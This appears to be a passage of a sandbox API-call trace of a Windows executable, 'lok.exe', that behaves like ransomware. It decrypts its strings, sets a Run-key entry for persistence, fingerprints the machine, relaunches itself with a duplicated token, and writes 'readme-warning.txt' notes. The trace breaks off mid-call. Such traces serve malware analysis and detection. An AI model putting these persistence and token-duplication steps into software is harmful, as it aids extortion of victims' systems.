0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be920 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdbe0 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.295] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be930 [0061.295] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2bdbf8 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be690 | out: hHeap=0x2a0000) returned 1 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x2be940 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc0) returned 0x2be690 [0061.296] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be148) returned 1 [0061.296] CryptDecrypt (in: hKey=0x2be148, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be690, pdwDataLen=0x18f3d8 | out: pbData=0x2be690, pdwDataLen=0x18f3d8) returned 1 [0061.296] CryptDestroyKey (hKey=0x2be148) returned 1 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be950 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2bdc10 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be960 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2bdc28 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be970 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2bec70 [0061.296] GetProcessHeap () returned 0x2a0000 [0061.296] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be980 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2bec90 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be990 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc708 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9a0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x22) returned 0x2be148 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9b0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9c0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9d0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1a) returned 0x2bc758 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9e0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2be9f0 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bea00 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bea10 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be690 | out: hHeap=0x2a0000) returned 1 [0061.297] GetProcessHeap () returned 0x2a0000 [0061.297] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2be178 [0061.298] GetShellWindow () returned 0x100f2 [0061.298] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0061.298] GetProcessHeap () returned 0x2a0000 [0061.298] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc7a8 [0061.298] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be690) returned 1 [0061.298] CryptDecrypt (in: hKey=0x2be690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc7a8, pdwDataLen=0x18f3d8 | out: pbData=0x2bc7a8, pdwDataLen=0x18f3d8) returned 1 [0061.299] CryptDestroyKey (hKey=0x2be690) returned 1 [0061.299] GetProcessHeap () returned 0x2a0000 [0061.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc7d0 [0061.299] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be690) returned 1 [0061.299] CryptDecrypt (in: hKey=0x2be690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc7d0, pdwDataLen=0x18f3d8 | out: pbData=0x2bc7d0, pdwDataLen=0x18f3d8) returned 1 [0061.299] CryptDestroyKey (hKey=0x2be690) returned 1 [0061.299] GetProcessHeap () returned 0x2a0000 [0061.299] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc7f8 [0061.299] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f370, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be690) returned 1 [0061.299] CryptDecrypt (in: hKey=0x2be690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc7f8, pdwDataLen=0x18f3d8 | out: pbData=0x2bc7f8, pdwDataLen=0x18f3d8) returned 1 [0061.299] CryptDestroyKey (hKey=0x2be690) returned 1 [0061.300] GetProcessHeap () returned 0x2a0000 [0061.300] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc820 [0061.300] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be690) returned 1 [0061.300] CryptDecrypt (in: hKey=0x2be690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc820, pdwDataLen=0x18f1b4 | out: pbData=0x2bc820, pdwDataLen=0x18f1b4) returned 1 [0061.300] CryptDestroyKey (hKey=0x2be690) returned 1 [0061.300] GetProcessHeap () returned 0x2a0000 [0061.300] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2be690 [0061.300] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be6f8) returned 1 [0061.300] CryptDecrypt (in: hKey=0x2be6f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be690, pdwDataLen=0x18f1b4 | out: pbData=0x2be690, pdwDataLen=0x18f1b4) returned 1 [0061.300] CryptDestroyKey (hKey=0x2be6f8) returned 1 [0061.300] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.300] GetProcessHeap () returned 0x2a0000 [0061.300] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc820 | out: hHeap=0x2a0000) returned 1 [0061.300] GetProcessHeap () returned 0x2a0000 [0061.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc820 [0061.301] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be6f8) returned 1 [0061.301] CryptDecrypt (in: hKey=0x2be6f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc820, pdwDataLen=0x18f1b4 | out: pbData=0x2bc820, pdwDataLen=0x18f1b4) returned 1 [0061.301] CryptDestroyKey (hKey=0x2be6f8) returned 1 [0061.301] GetProcessHeap () returned 0x2a0000 [0061.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2be6f8 [0061.301] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f148, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be760) returned 1 [0061.301] CryptDecrypt (in: hKey=0x2be760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be6f8, pdwDataLen=0x18f1b4 | out: pbData=0x2be6f8, pdwDataLen=0x18f1b4) returned 1 [0061.301] CryptDestroyKey (hKey=0x2be760) returned 1 [0061.301] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f1b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.301] GetProcessHeap () returned 0x2a0000 [0061.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc820 | out: hHeap=0x2a0000) returned 1 [0061.301] GetProcessHeap () returned 0x2a0000 [0061.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1e) returned 0x2bc820 [0061.301] GetProcessHeap () returned 0x2a0000 [0061.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2becb0 [0061.301] GetProcessHeap () returned 0x2a0000 [0061.301] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc848 [0061.301] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f378, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be760) returned 1 [0061.301] CryptDecrypt (in: hKey=0x2be760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc848, pdwDataLen=0x18f3d8 | out: pbData=0x2bc848, pdwDataLen=0x18f3d8) returned 1 [0061.301] CryptDestroyKey (hKey=0x2be760) returned 1 [0061.301] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="m23071644") returned 0xbc [0061.302] GetLastError () returned 0x0 [0061.302] GetProcessHeap () returned 0x2a0000 [0061.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc848 | out: hHeap=0x2a0000) returned 1 [0061.302] GetProcessHeap () returned 0x2a0000 [0061.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2be760 [0061.302] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be7c8) returned 1 [0061.302] CryptDecrypt (in: hKey=0x2be7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be760, pdwDataLen=0x18eb94 | out: pbData=0x2be760, pdwDataLen=0x18eb94) returned 1 [0061.302] CryptDestroyKey (hKey=0x2be7c8) returned 1 [0061.302] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18eb80 | out: phkResult=0x18eb80*=0xb8) returned 0x0 [0061.302] RegSetValueExW (in: hKey=0xb8, lpValueName="1", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\"", cbData=0x60 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\"") returned 0x0 [0061.543] RegCloseKey (hKey=0xb8) returned 0x0 [0061.543] GetProcessHeap () returned 0x2a0000 [0061.543] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be760 | out: hHeap=0x2a0000) returned 1 [0061.543] GetProcessHeap () returned 0x2a0000 [0061.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2be760 [0061.543] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ef20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be7a8) returned 1 [0061.543] CryptDecrypt (in: hKey=0x2be7a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be760, pdwDataLen=0x18ef90 | out: pbData=0x2be760, pdwDataLen=0x18ef90) returned 1 [0061.543] CryptDestroyKey (hKey=0x2be7a8) returned 1 [0061.543] GetProcessHeap () returned 0x2a0000 [0061.543] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc848 [0061.543] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ef20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be7a8) returned 1 [0061.543] CryptDecrypt (in: hKey=0x2be7a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc848, pdwDataLen=0x18ef90 | out: pbData=0x2bc848, pdwDataLen=0x18ef90) returned 1 [0061.543] CryptDestroyKey (hKey=0x2be7a8) returned 1 [0061.543] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ef8c | out: phkResult=0x18ef8c*=0xb8) returned 0x0 [0061.544] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ef98, lpcbData=0x18ef94*=0x400 | out: lpType=0x0, lpData=0x18ef98*=0x30, lpcbData=0x18ef94*=0x18) returned 0x0 [0061.544] RegCloseKey (hKey=0xb8) returned 0x0 [0061.544] GetProcessHeap () returned 0x2a0000 [0061.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2be760 | out: hHeap=0x2a0000) returned 1 [0061.544] GetProcessHeap () returned 0x2a0000 [0061.544] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc848 | out: hHeap=0x2a0000) returned 1 [0061.544] GetProcessHeap () returned 0x2a0000 [0061.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2bc848 [0061.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ed00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be760) returned 1 [0061.544] CryptDecrypt (in: hKey=0x2be760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bc848, pdwDataLen=0x18ed64 | out: pbData=0x2bc848, pdwDataLen=0x18ed64) returned 1 [0061.544] CryptDestroyKey (hKey=0x2be760) returned 1 [0061.544] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ed68, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0061.544] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ed60, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ed60*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.545] GetProcessHeap () returned 0x2a0000 [0061.545] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bc848 | out: hHeap=0x2a0000) returned 1 [0061.545] wsprintfA (in: param_1=0x18efaf, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0061.545] GetProcessHeap () returned 0x2a0000 [0061.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2bea20 [0061.545] GetProcessHeap () returned 0x2a0000 [0061.545] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf450 [0061.546] GetProcessHeap () returned 0x2a0000 [0061.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2be760 [0061.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be7e8) returned 1 [0061.546] CryptDecrypt (in: hKey=0x2be7e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2be760, pdwDataLen=0x18f398 | out: pbData=0x2be760, pdwDataLen=0x18f398) returned 1 [0061.546] CryptDestroyKey (hKey=0x2be7e8) returned 1 [0061.546] GetProcessHeap () returned 0x2a0000 [0061.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x80) returned 0x2c0438 [0061.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f330, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2be7e8) returned 1 [0061.546] CryptDecrypt (in: hKey=0x2be7e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c0438, pdwDataLen=0x18f398 | out: pbData=0x2c0438, pdwDataLen=0x18f398) returned 1 [0061.546] CryptDestroyKey (hKey=0x2be7e8) returned 1 [0061.546] GetExitCodeProcess (in: hProcess=0x0, lpExitCode=0x18f3b8 | out: lpExitCode=0x18f3b8*=0x2bc848) returned 0 [0061.546] Wow64DisableWow64FsRedirection (in: OldValue=0x18f3c0 | out: OldValue=0x18f3c0*=0x0) returned 1 [0061.547] GetCurrentProcessId () returned 0xb64 [0061.547] wsprintfW (in: param_1=0x18eb98, param_2="\"%s\" n%u" | out: param_1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916") returned 53 [0061.547] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xb8 [0061.547] OpenProcessToken (in: ProcessHandle=0xb8, DesiredAccess=0x2000000, TokenHandle=0x18eb24 | out: TokenHandle=0x18eb24*=0xc0) returned 1 [0061.547] DuplicateTokenEx (in: hExistingToken=0xc0, dwDesiredAccess=0x2000000, lpTokenAttributes=0x18eb30, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x18eb20 | out: phNewToken=0x18eb20*=0xc4) returned 1 [0061.547] CreatePipe (in: hReadPipe=0x18eb2c, hWritePipe=0x18eb28, lpPipeAttributes=0x18eb30, nSize=0x0 | out: hReadPipe=0x18eb2c*=0xcc, hWritePipe=0x18eb28*=0xd0) returned 1 [0061.548] CreateProcessWithTokenW (in: hToken=0xc4, dwLogonFlags=0x0, lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18eb50*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0xd0, hStdError=0xd0), lpProcessInformation=0x18eb40 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lok.exe\" n2916", lpProcessInformation=0x18eb40*(hProcess=0x11c, hThread=0x120, dwProcessId=0x670, dwThreadId=0x32c)) returned 1 [0062.083] CloseHandle (hObject=0x120) returned 1 [0062.083] CloseHandle (hObject=0xc4) returned 1 [0062.083] CloseHandle (hObject=0xc0) returned 1 [0062.083] CloseHandle (hObject=0xb8) returned 1 [0062.083] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0062.083] GetProcessHeap () returned 0x2a0000 [0062.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf600 [0062.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.083] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf600, pdwDataLen=0x18f168 | out: pbData=0x2bf600, pdwDataLen=0x18f168) returned 1 [0062.083] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.083] GetProcessHeap () returned 0x2a0000 [0062.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf648 [0062.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.083] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf648, pdwDataLen=0x18f168 | out: pbData=0x2bf648, pdwDataLen=0x18f168) returned 1 [0062.084] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.084] GetProcessHeap () returned 0x2a0000 [0062.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2c04c0 [0062.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.084] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c04c0, pdwDataLen=0x18f168 | out: pbData=0x2c04c0, pdwDataLen=0x18f168) returned 1 [0062.084] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.084] GetProcessHeap () returned 0x2a0000 [0062.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf690 [0062.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ecd8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.084] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf690, pdwDataLen=0x18ed48 | out: pbData=0x2bf690, pdwDataLen=0x18ed48) returned 1 [0062.085] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.085] GetProcessHeap () returned 0x2a0000 [0062.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18ecd8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.085] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18ed48 | out: pbData=0x2c1050, pdwDataLen=0x18ed48) returned 1 [0062.085] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.085] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18ed44 | out: phkResult=0x18ed44*=0xb8) returned 0x0 [0062.085] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18ed50, lpcbData=0x18ed4c*=0x400 | out: lpType=0x0, lpData=0x18ed50*=0x30, lpcbData=0x18ed4c*=0x18) returned 0x0 [0062.085] RegCloseKey (hKey=0xb8) returned 0x0 [0062.085] GetProcessHeap () returned 0x2a0000 [0062.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf690 | out: hHeap=0x2a0000) returned 1 [0062.085] GetProcessHeap () returned 0x2a0000 [0062.085] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.085] GetProcessHeap () returned 0x2a0000 [0062.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18eab8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.085] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18eb1c | out: pbData=0x2c1050, pdwDataLen=0x18eb1c) returned 1 [0062.085] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.085] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18eb20, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.086] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18eb18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18eb18*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.086] GetProcessHeap () returned 0x2a0000 [0062.086] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.086] wsprintfA (in: param_1=0x18ed67, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0062.086] wsprintfA (in: param_1=0x18f174, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0062.086] GetProcessHeap () returned 0x2a0000 [0062.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2c6208 [0062.086] GetProcessHeap () returned 0x2a0000 [0062.086] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1050 [0062.086] CryptImportKey (in: hProv=0x2bcb08, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c4910) returned 1 [0062.086] CryptDecrypt (in: hKey=0x2c4910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1050, pdwDataLen=0x18f18c | out: pbData=0x2c1050, pdwDataLen=0x18f18c) returned 1 [0062.086] CryptDestroyKey (hKey=0x2c4910) returned 1 [0062.086] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f190, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0062.086] wsprintfW (in: param_1=0x18e144, param_2="%s\\%s" | out: param_1="C:\\readme-warning.txt") returned 21 [0062.086] CreateFileW (lpFileName="C:\\readme-warning.txt" (normalized: "c:\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb8 [0062.090] WriteFile (in: hFile=0xb8, lpBuffer=0x2c6208*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x18e140, lpOverlapped=0x0 | out: lpBuffer=0x2c6208*, lpNumberOfBytesWritten=0x18e140*=0x3b3, lpOverlapped=0x0) returned 1 [0062.091] CloseHandle (hObject=0xb8) returned 1 [0062.095] GetProcessHeap () returned 0x2a0000 [0062.095] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1050 | out: hHeap=0x2a0000) returned 1 [0062.095] wsprintfW (in: param_1=0x18e950, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt") returned 56 [0062.095] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\readme-warning.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme-warning.txt"), 